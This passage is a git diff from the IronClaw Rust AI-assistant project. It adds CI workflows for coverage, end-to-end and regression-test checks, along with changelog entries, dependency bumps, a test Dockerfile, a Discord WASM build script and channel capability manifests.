code-style:
name: Code Style (fmt + clippy)
runs-on: ubuntu-latest
if: always()
needs: [format, clippy]
steps:
- run: |
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
+198
View File
@@ -0,0 +1,198 @@
name: Code Coverage
on:
push:
branches: [main]
permissions:
id-token: write
contents: read
jobs:
coverage:
name: Coverage (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
has_postgres: true
- name: default
flags: ""
has_postgres: true
- name: libsql-only
flags: "--no-default-features --features libsql"
has_postgres: false
services:
postgres:
image: pgvector/pgvector:pg16
env:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
POSTGRES_DB: ironclaw_test
ports:
- 5432:5432
options: >-
--health-cmd "pg_isready -U postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
with:
components: llvm-tools-preview
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: coverage-${{ matrix.name }}
- name: Install cargo-llvm-cov
uses: taiki-e/install-action@cargo-llvm-cov
- name: Install cargo-component
run: |
if ! command -v cargo-component >/dev/null 2>&1; then
cargo install cargo-component --locked
fi
- name: Build WASM channels (for integration tests)
run: ./scripts/build-wasm-extensions.sh --channels
- name: Run database migrations
if: matrix.has_postgres
run: |
set -euo pipefail
readarray -t migration_files < <(printf '%s\n' migrations/V*.sql | sort -V)
for f in "${migration_files[@]}"; do
echo "Applying $f..."
psql -v ON_ERROR_STOP=1 -f "$f"
done
env:
PGHOST: localhost
PGUSER: postgres
PGPASSWORD: postgres
PGDATABASE: ironclaw_test
- name: Set DATABASE_URL for postgres configs
if: matrix.has_postgres
run: echo "DATABASE_URL=postgres://postgres:postgres@localhost/ironclaw_test" >> "$GITHUB_ENV"
- name: Generate coverage
run: cargo llvm-cov ${{ matrix.flags }} --workspace --lcov --output-path lcov.info
- name: Upload to Codecov
uses: codecov/codecov-action@v5
with:
files: lcov.info
flags: ${{ matrix.name }}
disable_search: true
use_oidc: true
fail_ci_if_error: true
e2e-coverage:
name: E2E Coverage
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
with:
components: llvm-tools-preview
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: e2e-coverage
- name: Install cargo-llvm-cov
uses: taiki-e/install-action@cargo-llvm-cov
- name: Install cargo-component
run: |
if ! command -v cargo-component >/dev/null 2>&1; then
cargo install cargo-component --locked
fi
- name: Build WASM channels
run: ./scripts/build-wasm-extensions.sh --channels
- name: Set up coverage instrumentation
run: |
# show-env outputs shell-quoted values (KEY='value') but GITHUB_ENV
# expects unquoted KEY=value. Strip only the wrapping single quotes
# from KEY='value' lines without altering any internal characters.
cargo llvm-cov show-env | sed -E "s/^([A-Za-z_][A-Za-z0-9_]*)='(.*)'$/\1=\2/" >> "$GITHUB_ENV"
- name: Clean coverage workspace
run: cargo llvm-cov clean --workspace
- name: Build instrumented binary
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: |
pytest tests/e2e/ -v -x --timeout=120
env:
RUST_LOG: ironclaw=info
RUST_BACKTRACE: "1"
- name: Verify profraw files exist
if: always()
run: |
echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}"
echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}"
profraw_count=$(find target/ -name '*.profraw' 2>/dev/null | wc -l)
echo "Found ${profraw_count} .profraw files under target/"
find target/ -name '*.profraw' 2>/dev/null || true
if [ "$profraw_count" -eq 0 ]; then
echo "::warning::No .profraw files found — coverage report will fail"
fi
- name: Generate coverage report
if: always()
run: cargo llvm-cov report --lcov --output-path e2e-coverage.info
- name: Upload to Codecov
if: always()
uses: codecov/codecov-action@v5
with:
files: e2e-coverage.info
flags: e2e
disable_search: true
use_oidc: true
fail_ci_if_error: true
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
coverage-gate:
name: Coverage
runs-on: ubuntu-latest
if: always()
needs: [coverage, e2e-coverage]
steps:
- run: |
if [[ "${{ needs.coverage.result }}" != "success" || "${{ needs.e2e-coverage.result }}" != "success" ]]; then
echo "One or more coverage jobs failed"
exit 1
fi
+99
View File
@@ -0,0 +1,99 @@
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
# ── Step 1: compile once ──────────────────────────────────────────────────
build:
name: Build ironclaw (libsql)
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v6
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build
run: cargo build --no-default-features --features libsql
- name: Upload binary
uses: actions/upload-artifact@v4
with:
name: ironclaw-e2e-binary
path: target/debug/ironclaw
retention-days: 1
# ── Step 2: run test slices in parallel ───────────────────────────────────
test:
name: E2E (${{ matrix.group }})
needs: build
runs-on: ubuntu-latest
timeout-minutes: 30
strategy:
fail-fast: false
matrix:
include:
- group: core
files: "tests/e2e/scenarios/test_connection.py tests/e2e/scenarios/test_chat.py tests/e2e/scenarios/test_sse_reconnect.py tests/e2e/scenarios/test_html_injection.py"
- group: features
files: "tests/e2e/scenarios/test_skills.py tests/e2e/scenarios/test_tool_approval.py"
- group: extensions
files: "tests/e2e/scenarios/test_extensions.py"
steps:
- uses: actions/checkout@v6
- name: Download binary
uses: actions/download-artifact@v4
with:
name: ironclaw-e2e-binary
path: target/debug/
- name: Make binary executable
run: chmod +x target/debug/ironclaw
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests (${{ matrix.group }})
run: pytest ${{ matrix.files }} -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots-${{ matrix.group }}
path: tests/e2e/screenshots/
if-no-files-found: ignore
# ── Roll-up for branch protection ────────────────────────────────────────
e2e:
name: E2E Tests
runs-on: ubuntu-latest
if: always()
needs: [test]
steps:
- run: |
if [[ "${{ needs.test.result }}" != "success" ]]; then
echo "One or more E2E jobs failed"
exit 1
fi
+107
View File
@@ -0,0 +1,107 @@
name: Regression Test Check
on:
pull_request:
jobs:
regression-test:
name: Regression test enforcement
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Check for regression tests
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
run: |
set -euo pipefail
BASE_REF="origin/${{ github.event.pull_request.base.ref }}"
# --- 1. Is this a fix PR? Check title first, then commit messages ---
IS_FIX=false
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then
IS_FIX=true
fi
if [ "$IS_FIX" = false ]; then
COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD")
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then
IS_FIX=true
fi
fi
if [ "$IS_FIX" = false ]; then
echo "Not a fix PR — skipping regression test check."
exit 0
fi
echo "Fix PR detected."
# --- 2. Skip label or commit message marker ---
if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then
echo "skip-regression-check label present — skipping."
exit 0
fi
COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD")
if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then
echo "[skip-regression-check] found in commit message — skipping."
exit 0
fi
# --- 3. Exempt static-only / docs-only changes ---
CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD")
if [ -z "$CHANGED_FILES" ]; then
echo "No changed files — skipping."
exit 0
fi
ALL_EXEMPT=true
while IFS= read -r file; do
case "$file" in
src/channels/web/static/*) ;;
*.md) ;;
*) ALL_EXEMPT=false; break ;;
esac
done <<< "$CHANGED_FILES"
if [ "$ALL_EXEMPT" = true ]; then
echo "All changes are static assets or docs — skipping."
exit 0
fi
# --- 4. Look for test changes ---
# Fast path: new test attributes or test modules in added lines.
if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
echo "Test changes found in .rs files."
exit 0
fi
# Whole-function context: detect edits inside existing test functions.
if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk '
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
/^\+[^+]/ { has_add=1 }
END { if (has_test && has_add) found=1; exit !found }
'; then
echo "Test changes found in existing test functions."
exit 0
fi
if grep -qE '^tests/' <<< "$CHANGED_FILES"; then
echo "Test file changes found under tests/."
exit 0
fi
# --- 5. No tests found ---
echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible."
exit 1
+12 -2
View File
@@ -413,6 +413,9 @@ jobs:
- build-wasm-extensions
if: ${{ always() && needs.host.result == 'success' && needs.build-wasm-extensions.result == 'success' }}
runs-on: "ubuntu-22.04"
permissions:
contents: write
pull-requests: write
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
steps:
@@ -445,7 +448,7 @@ jobs:
fi
done
done < "$CHECKSUMS"
- name: Commit updated manifests
- name: Create PR with updated manifests
run: |
git config user.name "github-actions[bot]"
git config user.email "github-actions[bot]@users.noreply.github.com"
@@ -453,8 +456,15 @@ jobs:
if git diff --cached --quiet; then
echo "No manifest changes to commit"
else
BRANCH="chore/update-checksums-$(date +%s)"
git checkout -b "$BRANCH"
git commit -m "chore: update WASM artifact SHA256 checksums [skip ci]"
git push
git push origin "$BRANCH"
gh pr create \
--title "chore: update WASM artifact SHA256 checksums" \
--body "Auto-generated by release CI. Updates SHA256 checksums in registry manifests to match the released WASM artifacts." \
--base main \
--head "$BRANCH"
fi
announce:
+94 -3
View File
@@ -7,7 +7,38 @@ on:
jobs:
tests:
name: Run Tests
name: Tests (${{ matrix.name }})
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
include:
- name: all-features
flags: "--all-features"
- name: default
flags: ""
- name: libsql-only
flags: "--no-default-features --features libsql"
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: ${{ matrix.name }}
- name: Install cargo-component
run: cargo install cargo-component --locked || true
- name: Build WASM channels (for integration tests)
run: ./scripts/build-wasm-extensions.sh --channels
- name: Run Tests
run: cargo test ${{ matrix.flags }} -- --nocapture
telegram-tests:
name: Telegram Channel Tests
runs-on: ubuntu-latest
steps:
- name: Checkout repository
@@ -17,7 +48,67 @@ jobs:
with:
profile: minimal
- uses: Swatinem/rust-cache@v2
- name: Run Tests
run: cargo test --all-features -- --nocapture
- name: Run Telegram Channel Tests
run: cargo test --manifest-path channels-src/telegram/Cargo.toml -- --nocapture
wasm-wit-compat:
name: WASM WIT Compatibility
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Install Rust
uses: dtolnay/rust-toolchain@stable
with:
profile: minimal
targets: wasm32-wasip2
- uses: Swatinem/rust-cache@v2
with:
key: wasm-extensions
- name: Install cargo-component
run: cargo install cargo-component --locked || true
- name: Build all WASM extensions against current WIT
run: ./scripts/build-wasm-extensions.sh
- name: Instantiation test (host linker compatibility)
run: cargo test --all-features wit_compat -- --nocapture
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
version-check:
name: Version Bump Check
runs-on: ubuntu-latest
if: github.event_name == 'pull_request'
steps:
- name: Checkout repository
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Check version bumps for changed extensions
env:
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
run: ./scripts/check-version-bumps.sh
# Roll-up job for branch protection
run-tests:
name: Run Tests
runs-on: ubuntu-latest
if: always()
needs: [tests, telegram-tests, wasm-wit-compat, docker-build, version-check]
steps:
- run: |
if [[ "${{ needs.tests.result }}" != "success" || "${{ needs.telegram-tests.result }}" != "success" || "${{ needs.wasm-wit-compat.result }}" != "success" || "${{ needs.docker-build.result }}" != "success" ]]; then
echo "One or more jobs failed"
exit 1
fi
# version-check only runs on PRs, so skip/success are both acceptable
if [[ "${{ needs.version-check.result }}" == "failure" ]]; then
echo "Version bump check failed"
exit 1
fi
+3
View File
@@ -16,6 +16,9 @@ target/
# Benchmark results (local runs, not committed)
bench-results/
# Coverage reports (local runs, not committed)
/coverage/
# WASM build artifacts (loaded from disk, not bundled)
*.wasm
+132
View File
@@ -7,6 +7,138 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased]
## [0.16.0](https://github.com/nearai/ironclaw/compare/v0.15.0...v0.16.0) - 2026-03-06
### Added
- *(e2e)* extensions tab tests, CI parallelization, and 3 production bug fixes ([#584](https://github.com/nearai/ironclaw/pull/584))
- WASM extension versioning with WIT compat checks ([#592](https://github.com/nearai/ironclaw/pull/592))
- Add HMAC-SHA256 webhook signature validation for Slack ([#588](https://github.com/nearai/ironclaw/pull/588))
- restart ([#531](https://github.com/nearai/ironclaw/pull/531))
- merge http/web_fetch tools, add tool output stash for large responses ([#578](https://github.com/nearai/ironclaw/pull/578))
- integrate 13-dimension complexity scorer into smart routing ([#529](https://github.com/nearai/ironclaw/pull/529))
### Fixed
- *(llm)* fix reasoning model response parsing bugs ([#564](https://github.com/nearai/ironclaw/pull/564)) ([#580](https://github.com/nearai/ironclaw/pull/580))
- *(ci)* fix three coverage workflow failures ([#597](https://github.com/nearai/ironclaw/pull/597))
- Telegram channel accepts group messages from all users if owner_… ([#590](https://github.com/nearai/ironclaw/pull/590))
- *(ci)* anchor coverage/ gitignore rule to repo root ([#591](https://github.com/nearai/ironclaw/pull/591))
- *(security)* use OsRng for all security-critical key and token generation ([#519](https://github.com/nearai/ironclaw/pull/519))
- prevent concurrent memory hygiene passes and Windows file lock errors ([#535](https://github.com/nearai/ironclaw/pull/535))
- sort tool_definitions() for deterministic LLM tool ordering ([#582](https://github.com/nearai/ironclaw/pull/582))
- *(ci)* persist all cargo-llvm-cov env vars for E2E coverage ([#559](https://github.com/nearai/ironclaw/pull/559))
### Other
- *(llm)* complete response cache — set_model invalidation, stats logging, sync mutex ([#290](https://github.com/nearai/ironclaw/pull/290))
- add 29 E2E trace tests for issues #571-575 ([#593](https://github.com/nearai/ironclaw/pull/593))
- add 26 tests for multi-thread safety, db CRUD, concurrency, errors ([#442](https://github.com/nearai/ironclaw/pull/442))
- update WASM artifact SHA256 checksums [skip ci] ([#560](https://github.com/nearai/ironclaw/pull/560))
- add WIT compatibility tests for WASM extensions ([#586](https://github.com/nearai/ironclaw/pull/586))
- Trajectory benchmarks and e2e trace test rig ([#553](https://github.com/nearai/ironclaw/pull/553))
## [0.15.0](https://github.com/nearai/ironclaw/compare/v0.14.0...v0.15.0) - 2026-03-04
### Added
- *(oauth)* route callbacks through web gateway for hosted instances ([#555](https://github.com/nearai/ironclaw/pull/555))
- *(web)* show error details for failed tool calls ([#490](https://github.com/nearai/ironclaw/pull/490))
- *(extensions)* improve auth UX and add load-time validation ([#536](https://github.com/nearai/ironclaw/pull/536))
- add local-test skill and Dockerfile.test for web gateway testing ([#524](https://github.com/nearai/ironclaw/pull/524))
### Fixed
- *(security)* restrict query-token auth to SSE endpoints only ([#528](https://github.com/nearai/ironclaw/pull/528))
- *(ci)* flush profraw coverage data in E2E teardown ([#550](https://github.com/nearai/ironclaw/pull/550))
- *(wasm)* coerce string parameters to schema-declared types ([#498](https://github.com/nearai/ironclaw/pull/498))
- *(agent)* strip leaked [Called tool ...] text from responses ([#497](https://github.com/nearai/ironclaw/pull/497))
- *(web)* reset job list UI on restart failure ([#499](https://github.com/nearai/ironclaw/pull/499))
- *(security)* replace .unwrap() panics in pairing store with proper error handling ([#515](https://github.com/nearai/ironclaw/pull/515))
### Other
- Fix UTF-8 unsafe truncation in sandbox log capture ([#359](https://github.com/nearai/ironclaw/pull/359))
- enhance coverage with feature matrix, postgres, and E2E ([#523](https://github.com/nearai/ironclaw/pull/523))
## [0.14.0](https://github.com/nearai/ironclaw/compare/v0.13.1...v0.14.0) - 2026-03-04
### Added
- remove the okta tool ([#506](https://github.com/nearai/ironclaw/pull/506))
- add OAuth support for WASM tools in web gateway ([#489](https://github.com/nearai/ironclaw/pull/489))
- *(web)* fix jobs UI parity for non-sandbox mode ([#491](https://github.com/nearai/ironclaw/pull/491))
- *(workspace)* add TOOLS.md, BOOTSTRAP.md, and disk-to-DB import ([#477](https://github.com/nearai/ironclaw/pull/477))
### Fixed
- *(web)* mobile browser bar obscures chat input ([#508](https://github.com/nearai/ironclaw/pull/508))
- *(web)* assign unique thread_id to manual routine triggers ([#500](https://github.com/nearai/ironclaw/pull/500))
- *(web)* refresh routine UI after Run Now trigger ([#501](https://github.com/nearai/ironclaw/pull/501))
- *(skills)* use slug for skill download URL from ClawHub ([#502](https://github.com/nearai/ironclaw/pull/502))
- *(workspace)* thread document path through search results ([#503](https://github.com/nearai/ironclaw/pull/503))
- *(workspace)* import custom templates before seeding defaults ([#505](https://github.com/nearai/ironclaw/pull/505))
- use std::sync::RwLock in MessageTool to avoid runtime panic ([#411](https://github.com/nearai/ironclaw/pull/411))
- wire secrets store into all WASM runtime activation paths ([#479](https://github.com/nearai/ironclaw/pull/479))
### Other
- enforce regression tests for fix commits ([#517](https://github.com/nearai/ironclaw/pull/517))
- add code coverage with cargo-llvm-cov and Codecov ([#511](https://github.com/nearai/ironclaw/pull/511))
- Remove restart infrastructure, generalize WASM channel setup ([#493](https://github.com/nearai/ironclaw/pull/493))
## [0.13.1](https://github.com/nearai/ironclaw/compare/v0.13.0...v0.13.1) - 2026-03-02
### Added
- add Brave Web Search WASM tool ([#474](https://github.com/nearai/ironclaw/pull/474))
### Fixed
- *(web)* auto-scroll and Enter key completion for slash command autocomplete ([#475](https://github.com/nearai/ironclaw/pull/475))
- correct download URLs for telegram-mtproto and slack-tool extensions ([#470](https://github.com/nearai/ironclaw/pull/470))
## [0.13.0](https://github.com/nearai/ironclaw/compare/v0.12.0...v0.13.0) - 2026-03-02
### Added
- *(cli)* add tool setup command + GitHub setup schema ([#438](https://github.com/nearai/ironclaw/pull/438))
- add web_fetch built-in tool ([#435](https://github.com/nearai/ironclaw/pull/435))
- *(web)* DB-backed Jobs tab + scheduler-dispatched local jobs ([#436](https://github.com/nearai/ironclaw/pull/436))
- *(extensions)* add OAuth setup UI for WASM tools + display name labels ([#437](https://github.com/nearai/ironclaw/pull/437))
- *(bootstrap)* auto-detect libsql when ironclaw.db exists ([#399](https://github.com/nearai/ironclaw/pull/399))
- *(web)* slash command autocomplete + /status /list + fix chat input locking ([#404](https://github.com/nearai/ironclaw/pull/404))
- *(routines)* deliver notifications to all installed channels ([#398](https://github.com/nearai/ironclaw/pull/398))
- *(web)* persist tool calls, restore approvals on thread switch, and UI fixes ([#382](https://github.com/nearai/ironclaw/pull/382))
- add IRONCLAW_BASE_DIR env var with LazyLock caching ([#397](https://github.com/nearai/ironclaw/pull/397))
- feat(signal) attachment upload + message tool ([#375](https://github.com/nearai/ironclaw/pull/375))
### Fixed
- *(channels)* add host-based credential injection to WASM channel wrapper ([#421](https://github.com/nearai/ironclaw/pull/421))
- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
### Other
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
### Added
+3
View File
@@ -321,6 +321,8 @@ cargo check --all-features # all features
```
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
**Mechanical verification before committing:** Run these checks on changed files before committing:
@@ -328,6 +330,7 @@ Dead code behind the wrong `#[cfg]` gate will only show up when building with a
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
- `grep -rn 'super::' <files>` -- use `crate::` imports
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`)
## Configuration
Generated
+393 -144
View File
File diff suppressed because it is too large Load Diff
+15 -2
View File
@@ -12,14 +12,13 @@ exclude = [
"tools-src/google-drive",
"tools-src/google-sheets",
"tools-src/google-slides",
"tools-src/okta",
"tools-src/slack",
"tools-src/telegram",
]
[package]
name = "ironclaw"
version = "0.12.0"
version = "0.16.0"
edition = "2024"
rust-version = "1.92"
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
@@ -52,6 +51,9 @@ deadpool-postgres = { version = "0.14", optional = true }
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
tokio-postgres-rustls = { version = "0.13", optional = true }
rustls = { version = "0.23", optional = true, default-features = false }
rustls-native-certs = { version = "0.8", optional = true }
# Database - libSQL/Turso (optional embedded database)
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
@@ -104,6 +106,9 @@ serde_yml = "0.0.12"
dirs = "6"
fs4 = "0.6"
# Semantic versioning
semver = "1"
# Secrecy for sensitive values
secrecy = { version = "0.10", features = ["serde"] }
@@ -126,6 +131,7 @@ wasmparser = "0.220" # WASM binary parsing for validation
# Cryptography for secrets management
aes-gcm = "0.10"
hkdf = "0.12"
hmac = "0.12"
sha2 = "0.10"
blake3 = "1"
rand = "0.8"
@@ -154,6 +160,8 @@ lru = "0.16.3"
# HTML to Markdown conversion (feature gated)
html-to-markdown-rs = { version = "2.3", optional = true }
readabilityrs = { version = "0.1.2", optional = true }
ed25519-dalek = { version = "2.2.0", features = ["std"] }
hex = "0.4.3"
# macOS keychain
[target.'cfg(target_os = "macos")'.dependencies]
@@ -166,16 +174,21 @@ zbus = "4"
[dev-dependencies]
tokio-test = "0.4"
tracing-test = "0.2"
tokio-tungstenite = "0.26"
testcontainers-modules = { version = "0.11", features = ["postgres"] }
pretty_assertions = "1"
tempfile = "3"
insta = "1.46.3"
[features]
default = ["postgres", "libsql", "html-to-markdown"]
postgres = [
"dep:deadpool-postgres",
"dep:tokio-postgres",
"dep:tokio-postgres-rustls",
"dep:rustls",
"dep:rustls-native-certs",
"dep:postgres-types",
"dep:refinery",
"dep:pgvector",
+57
View File
@@ -0,0 +1,57 @@
# Lightweight test Dockerfile for IronClaw web gateway testing.
#
# Build:
# docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
#
# Run (each on a different port):
# docker run --rm -p 3003:3003 ironclaw-test
# docker run --rm -p 3004:3003 ironclaw-test
# docker run --rm -p 3005:3003 ironclaw-test
# Stage 1: Build (libsql only — no PostgreSQL dependency)
FROM rust:1.92-slim-bookworm AS builder
RUN apt-get update && apt-get install -y --no-install-recommends \
pkg-config libssl-dev cmake gcc g++ \
&& rm -rf /var/lib/apt/lists/* \
&& rustup target add wasm32-wasip2 \
&& cargo install wasm-tools
WORKDIR /app
COPY Cargo.toml Cargo.lock ./
COPY build.rs build.rs
COPY src/ src/
COPY tests/ tests/
COPY migrations/ migrations/
COPY registry/ registry/
COPY channels-src/ channels-src/
COPY wit/ wit/
RUN cargo build --release --no-default-features --features libsql --bin ironclaw
# Stage 2: Runtime
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates libssl3 \
&& rm -rf /var/lib/apt/lists/*
COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw
RUN useradd -m -u 1000 -s /bin/bash ironclaw
USER ironclaw
WORKDIR /home/ironclaw
EXPOSE 3003
ENV RUST_LOG=ironclaw=info \
GATEWAY_ENABLED=true \
GATEWAY_HOST=0.0.0.0 \
GATEWAY_PORT=3003 \
GATEWAY_AUTH_TOKEN=test \
DATABASE_BACKEND=libsql \
LIBSQL_PATH=/home/ironclaw/test.db \
SANDBOX_ENABLED=false
ENTRYPOINT ["ironclaw", "--no-onboard"]
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+13 -2
View File
@@ -1,4 +1,6 @@
{
"version": "0.1.0",
"wit_version": "0.2.0",
"type": "channel",
"name": "discord",
"description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages",
@@ -6,10 +8,16 @@
"required_secrets": [
{
"name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
"prompt": "Enter your Discord Bot Token. Find it under Bot > Token in your Discord Application settings.",
"optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (found under General Information in your Discord Application settings).",
"optional": false
}
]
],
"setup_url": "https://discord.com/developers/applications"
},
"capabilities": {
"http": {
@@ -39,6 +47,9 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
},
+9 -3
View File
@@ -1,4 +1,6 @@
{
"version": "0.1.0",
"wit_version": "0.2.0",
"type": "channel",
"name": "slack",
